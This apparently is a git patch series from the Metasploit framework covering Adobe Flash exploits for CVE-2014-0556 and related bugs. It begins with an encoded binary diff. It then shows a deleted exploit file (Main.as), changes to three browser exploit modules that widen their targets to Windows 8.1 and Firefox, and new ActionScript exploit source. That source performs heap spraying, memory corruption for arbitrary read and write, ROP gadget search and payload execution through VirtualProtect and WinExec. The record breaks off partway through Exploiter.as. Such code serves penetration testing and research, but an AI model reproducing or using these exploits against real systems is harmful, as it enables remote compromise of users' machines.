zaX30BHFxzrhc-zypFyTRhrq<1k3;%Xh~M7iWcuIsx8&#ft@Y)dbQUCt?_DHR#MoFP zf4Nw;oP@g*=N;IdoUMwP4OWPu3m;KD@+5K&Q}~OMVT2XY;DvI%b`5E zAt|=3qxq8z`-gX3r4$EmumQ{N4+@puf2lDQdNlpYm8c_?YwV&u3wL6_y6~0ff|QQY zX+)9-y4D5PUp9;I{2_%2^`JT&=*l>Uf#y`0~hvIIK(=EMO(Q_4sn^xZ;-fBIuW zUzjO%P!g-udn;bgT+X<7UAdD0yrovG<5SDjY36J zK&IBZ`wlpQj062cvHcWu)>NM=SS8g;c--t;oSvCmk2NGC0dAe-bK*%x7z_n(_if04dDJX=BP3{W_{mG_^^N2bGcCY^n;E1X0+78GSs z0Q5N=m?_x>=Z!_c7Px&yrG{02xCNPXX3FA!g*#h^0R4@jwOw~O=*A2}pqRZ3CLW=;4jNl8Ecn^0pdO~67Q(;G%A^fs zQgkmUF)C3AWcj>jx{vvWcn?L5WLaGjVFMse#$0kcNdS9+_hGAkALEKcu4HBE-g`rV6pc$^CkP{6jR>%E!rjC_VIk~Bv-7_^`k zEr#Op`oL1gn=O;kf6jsw{y(m1tW;!u()~4{EBKhYb zV?=fYh>AVwe|pvxCWd)|)(NerGEB>ux26UX-&O<(Qpa-1P~!scWX?Z7{S3?m~COw@T+>5|ICVW z`N7O7%xhcg!nFJA1fhIv@s;62R{e3QhIE}lBBRDYe;knIlU`pHH;X8_^TM0SsIqiU z5AE{8<c#X-vZM9I)!Zp-wR=lEaTQ`RgTNsC&+uu8L%o|ea8p+!@ zK_*|A3>f2SB8;PTqsR?NJ?JuZ=i^4FypBzM-_kHFwZ9AqR>v8!6EAB)+idn0eYpm4 zp`4J1e~r#Cq`Tom4v~uj?FM(&`{gh3)AL1ac+lTG2VXBkN#ovUX>g&ht`4oEll6r< zL>YLd6cHjTs{%mFe?+I;3yAn+%&60(k+I1A+_Ygj#m<@R>|4D!%k#@3s9Fc9iq$!+ ztNVlVyI~(d|2Vht+G+9MD*5acbNls{@mtQxe|8FraB@EGIi*$iAZvGT9Ej4LW!*EQ zECh>}t0L~5(V^DAJ$9(+jq*%d!5HO#Q|tx0XAql8DbOk!*&B6yNRkp7-p)O8{k}d& zSgX7965>Lq?k<&zG*0fXw^2jW^A<+}xN}^IlFnas}i^#^ojC9ThEff0EywwqbzGl`?}pd@~5ddDle)EB~l zow)y+V^^T_T1Z2f`t@E-;O`n;mL7u|f9QKdny|JG5+eoTjsRY%1gaYiwr2dx z+IErN@Aa_!cc+X3f2QF$Ua{%(Fgm$HCb^>T^PaPO2{AU=Nt$F`r%j!j=FizNUeVlu zmBN~x9uY?Gw^8{Nd6Ktce-r@+caRjc>6=k)v6vn`T-L`F@ddWqI^xu7aqs(paxvTd z@9{N(6m@%6<8Noh!%a|r+lIH1bvUdQH#q5Qx-ru+uOOb0f6{jTtC84#-0kI%2K)q1 z^66RShEi?CWA};Iau=l( zwrcYHtm9}Hf5Ey)&qnUK87Q*%>!n6tgb^_ z)dTV?nHTR)Fh`ES=I)3H%r_@2-n~fVjo!CUKPA(#02iYCR#PISXR^ z4wzOlJrlOq&2k`_mIkhVg4gT=mhbZ&$=+99@$eZaDS1|B(SG0jJ zDsO<~GBj0r5ylK=QWzx>->_f3PFOa^zT$Ry0#-XEz2^Hu@Q6eLVlf_&de@**76p)7 zmB18x9XNmI<8qR2`r?w3;|-`WTfa)%hfw??e=u17UF}y>jrZ@;#$yl65DSz8VyaoS zunT?JF@UEF0&9jnf>vqu0sI$0bNo-694w}Mf{hcw&TvZRX~j4`!h%hf%y$Y%L}O3q z**fJGuj@^Cw$GkFeaolBK6z4>GxiZiDE3U3$q?9h^9Z(Unhe!dnV3fze8=A>r}p%v ze`99h+m36FEilc+IDx8K{qwNatvw=XFOlI}AXLlX35-cA zD}Le?G=vJyMeR4Wg%r_@OlE+>2=h8_G0xj0mcgcAYB!b}ocUJR4=99aq&qK&66v;r zX-AA|IG~0kQ(8Ar;h|{pyfSMKx~I!Xe}vCOjD6W$Yy#!s=iV%DU%FYcKaRzKClOb? zLy?hb`Z{Klya6+Z>lkpLYW+3PADv>t@G(vNz-H*P$CblZ_{yydYQdKFd}DgSS18?`53}M-ZxTI<{TStVyU*QxTr26^e-qU! zmi}+s*mQLQ`XwBe;#w1EtIH8OexH0Ixs4AL>Nt8)iWJldZKDp#f=2l~L}@r63R=ZA z6m=(MVyV|Zg^N}>ptUi?ziEeWjulJ*1gCKatL(%jEIpR<(5F^RZ#9k7pTD|(+8zD= zV~xcqsMgYaenlDRIR#wCK{w%Se}a*8&#G7n-Q2JychDR=^;x(G_h#>E3`KHy8_^t? zL`5VJSK6)kLbMqNd~p|0;d^oHvhC#~Za}L{g7cExhW6&^JP@5=250mnUZM*oIqU9B zqa;tRymtX~=Ii8~hdf)dz>zK2@0>*|^ms$tS{R5Qd)g%zierxzr%HhOe_KSSthM<( zFAN|>Z5E_Z1n%Z7ZnTNnRix5GDxMF%_#upv&l;zhd27Y^j{#LM6@h^6u2C6}NhTky zga$7F4NaQqKD0D+VT|f?IT;MJuuO;rmpP&yjTs4o$2)v6nx3L;IIN58=EcDOatLpf zseWl@Pe;~G9g{RoMtyYDe+_)hBbNgV4fnei?rJDJb&RbizrZ&#R*RQIR=7Oz%PKc0 zF8fNWQ&ViI+4udQEyAdZGKQ?srI^~)W_MEpi)>97ym~!NcG%!wv|CXfSP5}j6#x;R z)R#cK^`a%T0tM2lsU+GD_`i!kN43=HF_Q>$98$`hT0kgcisdk0e~}*CIY@7td50jG zR*oQ#bgM;fCV=X?F_r*pvkD~Ix&toNaDBt{GA-|T18)lrZv~)aQfFhBu?8%Uu%@XL zvaxx6$;Nf4LsuRpVHI+0NGZ@@WVh|683OFei;q8V8@%=5(TP%i_2^bir&|qy&);U??6dZ?eF#oZSP1$Ex2!R`QpcPdgd^h>caAg) zO?oEl7_%Rtct?Cd}?E-|Lv2-MI$oBllnc$X)RzQ z)i3Uh>cXg|7(V~AHgYb_gQy*+?(_QNhDiv*EJF3up!*dU%A#YWWc!o=zNd{?oi(zD>_!pe~Wcj@RyM9xG(p7)G2Tjm{+gF zo_gvy6R*&mZ=#_SfA+&0+>j&I9A$DLLQGJ;rmQa4#fvg!lfOa z)JRx`0HHuVe+Fe^{Z&?R)!){dm4VE)+vsHAn8lQlg9pSs?_i{V+JV~+nU>;4^gCeLb}U0tRV>@&>DGU#gGmWZlGspgK~ma8_kgyJKVxlq1NmO;qCTkcH&faZvCPT)<50x zo9kjoJawSZy=4IhvP?!#wGr$pE%UL`tyV4NcqOyf2=8T+@OeJi?B+`S@%^taGC~L| zYg1ld&3-%a6(NKP;z^II(9MgMR5&6B7_~al6bZMQ@ z1zmvHM}>&mF^aRU2}`hBSgIXpvLr_=k4}G~<8eWGCExS{LKNSYOU%%@nIP`Obtv68 zB$^w+2HCE6w~Bqh9k9V zYguAR=i4!pASa?p{*VF#QC*Y6e=;|g7`&q;208v5RFey zbAQ>k(x5Ymv{aHBW!-$WMO6T-mTSpUBZxth+#~2E#cR1?-SU&Cs7)PtelxJgmB_*o zk(p{_s{>KI`JvV$cljP}ET(YW79ZVte_uKxL9fWdQ1sIPcJ1=F8!=F#rmy`)qrNY3 zArjXzXQbUbbN*d%(A>A(O}5`KcqtwdZh!hcG=6$vaGg|_S(-mp1!ojSd@y%Yf?4m@ zz-lo;Ddi~!J)tNNRVb4h-8G{_N`!?=_$z~#pQE&(M8jj|U87W6u3`S{ihZ;OuF*lF zGos%z$S;<7A2xzkyyVX5v|-Xo_{P( zM2|X0i+t+$$Tv$LLZU@SJ7v!x86f`Cizj4}E&$><6L{vyYKNr^6!kWmw5hw!ve_65 z(fvzg<9xcPcY3rsdw!fgL;H29ZvyO65MIf)fIA9W z{%2EhaD5NgbgLnilcYFDJ#&IDm45KWUfw4K;-af{_K% zrLxq?)YHjc88~3k3aX%SW;jDTGF@gmI7+)AZ#(AJzf5X`oEK-IRkKH0JHN43eAr>q=eWP`EL~OYw@XU9+DNatgh!gWevTD(? Q(c7Jvw{Q>9|NC(8C<-(XjsO4v diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as deleted file mode 100755 index da6482075c..0000000000 --- a/external/source/exploits/CVE-2014-0556/Main.as +++ /dev/null @@ -1,185 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/ -// Modified to be used from msf - -package -{ - import flash.display.Sprite - import flash.display.BitmapData - import flash.geom.Rectangle - import flash.utils.ByteArray - import flash.display.LoaderInfo - import mx.utils.Base64Decoder - - public class Main extends Sprite - { - private var bv:Vector. = new Vector.(12800) - private var uv:Vector. = new Vector.(12800) - private var bd:BitmapData = new BitmapData(128, 16) - private var i:uint = 0 - - public function Main() - { - var b64:Base64Decoder = new Base64Decoder() - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - var payload:String = b64.toByteArray().toString() - - for (i = 0; i < bv.length; i++) { - bv[i] = new ByteArray() - bv[i].length = 0x2000 - bv[i].position = 0xFFFFF000 - } - - for (i = 0; i < bv.length; i++) - if (i % 2 == 0) bv[i] = null - - for (i = 0; i < uv.length; i++) { - uv[i] = new Vector.(1022) - } - - bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401]) - - for (i = 0; ; i++) - if (uv[i].length == 0xffffffff) break - - for (var i2:uint = 1; i2 < uv.length; i2++) { - if (i == i2) continue - uv[i2] = new Vector.(1014) - uv[i2][0] = bv[6401] - uv[i2][1] = this - } - - uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000 - bv[6401].endian = "littleEndian" - bv[6401].length = 0x500000 - var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000 - var main:uint = uv[i][0xfffffc09] - 1 - var vtable:uint = vector_read(main) - vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) - vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff) - byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8)) - byte_write(uv[i][0]) - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - byte_write(buffer + 0x100, payload, true) - byte_write(buffer + 0x20070, xchgeaxespret) - byte_write(buffer + 0x20000, xchgeaxesiret) - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x30000) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x80) - - // WinExec - byte_write(0, buffer + 0x30000) - byte_write(0, buffer + 0x100) - byte_write(0) - - byte_write(main, buffer + 0x20000) - this.toString() - } - - private function vector_write(addr:uint, value:uint = 0):void - { - addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value - } - - private function vector_read(addr:uint):uint - { - return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] - } - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) bv[6401].position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i)) - if (zero) bv[6401].writeByte(0) - } else bv[6401].writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - bv[6401].position = addr - switch(type) { - case "dword": - return bv[6401].readUnsignedInt() - case "word": - return bv[6401].readUnsignedShort() - case "byte": - return bv[6401].readUnsignedByte() - } - return 0 - } - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - bv[6401].position = addr + entry - if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - bv[6401].position = addr + entry - if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index f95e2f8dba..1182b2f2b7 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 2b401c731b..fccecf14f9 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb index dfae2693d6..77e8ce5cbe 100644 --- a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb +++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb @@ -6,9 +6,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -47,9 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') }, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, + :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.179') }, :arch => ARCH_X86 }, 'Targets' => @@ -82,17 +84,18 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'win' + os_name = target_info[:os_name] html_template = %Q| - + - + From 51d98e1008655d2e96197fe3902778c52289fa01 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 4 Jun 2015 18:34:08 -0500 Subject: [PATCH 0317/1013] Update AS code --- external/source/exploits/CVE-2014-0556/Elf.as | 235 +++++++++++ .../source/exploits/CVE-2014-0556/Exploit.as | 83 ++++ .../CVE-2014-0556/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2014-0556/ExploitVector.as | 74 ++++ .../exploits/CVE-2014-0556/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2014-0556/Logger.as | 32 ++ external/source/exploits/CVE-2014-0556/PE.as | 72 ++++ 7 files changed, 980 insertions(+) create mode 100644 external/source/exploits/CVE-2014-0556/Elf.as create mode 100755 external/source/exploits/CVE-2014-0556/Exploit.as create mode 100644 external/source/exploits/CVE-2014-0556/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2014-0556/ExploitVector.as create mode 100644 external/source/exploits/CVE-2014-0556/Exploiter.as create mode 100644 external/source/exploits/CVE-2014-0556/Logger.as create mode 100644 external/source/exploits/CVE-2014-0556/PE.as diff --git a/external/source/exploits/CVE-2014-0556/Elf.as b/external/source/exploits/CVE-2014-0556/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Exploit.as b/external/source/exploits/CVE-2014-0556/Exploit.as new file mode 100755 index 0000000000..e14fceac94 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Exploit.as @@ -0,0 +1,83 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf + +package +{ + import flash.display.Sprite + import flash.display.BitmapData + import flash.geom.Rectangle + import flash.utils.ByteArray + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite + { + private var uv:Vector. + private var exploiter:Exploiter + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var bv:Vector. = new Vector.(12800) + private var ov:Vector. = new Vector.(12800) + private var bd:BitmapData = new BitmapData(128, 16) + + public function Exploit() + { + var i:uint + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + for (i = 0; i < bv.length; i++) { + bv[i] = new ByteArray() + bv[i].length = 0x2000 + bv[i].position = 0xFFFFF000 + } + + for (i = 0; i < bv.length; i++) + if (i % 2 == 0) bv[i] = null + + for (i = 0; i < ov.length; i++) { + ov[i] = new Vector.(1022) + ov[i][0] = 0xdeadbeef + } + + bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401]) + + for (i = 0; i < ov.length ; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + uv[0] = 0xdeadbeef + uv[1] = 0xdeedbeef + for(var j:uint = 0; j < 4096; j++) { + if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) { + uv[0x3fffffff] = uv[j + 1] + break + } + } + } else { + ov[i] = null + } + } + + for (i = 0; i < bv.length; i++) { + bv[i] = null + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + } +} diff --git a/external/source/exploits/CVE-2014-0556/ExploitByteArray.as b/external/source/exploits/CVE-2014-0556/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/ExploitVector.as b/external/source/exploits/CVE-2014-0556/ExploitVector.as new file mode 100644 index 0000000000..fe25df3aac --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x3fe + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Exploiter.as b/external/source/exploits/CVE-2014-0556/Exploiter.as new file mode 100644 index 0000000000..b371c51895 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } 